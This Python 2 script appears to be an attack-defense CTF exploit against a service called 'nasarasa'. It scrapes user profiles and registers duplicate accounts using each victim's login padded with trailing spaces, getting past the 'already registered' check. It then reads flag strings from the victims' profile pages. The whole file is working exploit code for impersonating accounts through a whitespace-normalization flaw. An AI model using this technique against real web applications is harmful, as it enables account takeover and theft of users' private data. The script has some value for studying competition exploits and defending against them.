#!/usr/bin/env python2
import requests
import hashlib
import random
import re
import sys
import string

target = sys.argv[1]

def make_random(n=8):
    return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(n))

url_base = 'http://{}'.format(target)

url_signup = url_base + '/signup'
url_users = url_base + '/users'
url_user = url_base + '/user'

headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36','Host': 'nasarasa.{}'.format(target)}

m = hashlib.md5(str(random.random())).hexdigest()

REGEX = re.compile(r"\"(/users/\d*?)\">\s*?[A-Z][a-z]*? [A-Z][a-z]*? ")
RE_LOGIN = re.compile(r"\d\d as (.*?)</span>")
RE_FLAG = re.compile(r"(\w{31}=)")

# GET users
users = requests.get(url=url_users, headers=headers)
usercount = REGEX.findall(users.text)
#print("found {} users".format(len(usercount)))

allusers = list(set(REGEX.findall(users.text)))
#print(allusers)

for user in allusers:
    _user = requests.get(url_base+user, headers=headers)
    login = RE_LOGIN.findall(_user.text)

    if not login:
	continue


    print(login)
    login = login[0] + ' ' * random.randint(1,3)


    c = 3
    while c is not 0:
        sess = requests.Session()
        first = make_random()
	last = make_random()
        password = make_random(n=11)
        data = {"first_name":first, "last_name":last, "login": login, "password":password}
        rere = sess.post(url_signup, data=data, headers=headers)

        if 'already registered' in rere.text:
	    login += ' ' * random.randint(2,5)
	    continue

	c -= 1

        final = sess.get(url_base+user, headers=headers)
        #print(final.text)
        flags = RE_FLAG.findall(final.text)
        for i in flags:
            if not i:
	        continue

            print(i)
